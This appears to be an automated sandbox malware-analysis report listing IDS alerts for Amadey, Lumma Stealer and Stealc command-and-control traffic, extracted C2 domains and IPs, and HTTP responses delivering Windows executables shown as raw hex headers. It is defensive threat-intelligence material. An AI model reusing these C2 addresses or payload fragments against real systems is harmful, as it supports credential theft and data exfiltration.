Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50123 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057396 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs) : 192.168.2.6:52382 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:50127 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50124
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50128 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:50130 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:50131 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50132 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:50135 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:50137 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50133 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50136 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:50145 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:50146 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:50148 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:50149 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50147 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:50150 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:50157 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057396 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs) : 192.168.2.6:56275 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:50162 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:50139 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50160 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:50161 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:50165 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:50168 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50183 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50235 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057396 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs) : 192.168.2.6:64871 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057396 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs) : 192.168.2.6:62844 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057396 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs) : 192.168.2.6:60222 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057396 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs) : 192.168.2.6:52734 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057396 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs) : 192.168.2.6:64797 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057396 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs) : 192.168.2.6:65518 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50404 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50130 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50127 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50130 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50127 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50139 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50139 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50146 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50162 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50145 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50145 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50149 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50165 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50168 -> 172.67.174.133:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: thicktoys.sbs
Source: Malware configuration extractor	URLs: faintbl0w.sbs
Source: Malware configuration extractor	URLs: 3xc1aimbl0w.sbs
Source: Malware configuration extractor	URLs: 300snails.sbs
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 13 Nov 2024 17:08:12 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 13 Nov 2024 17:08:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 13 Nov 2024 17:08:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 13 Nov 2024 17:08:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 13 Nov 2024 17:08:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 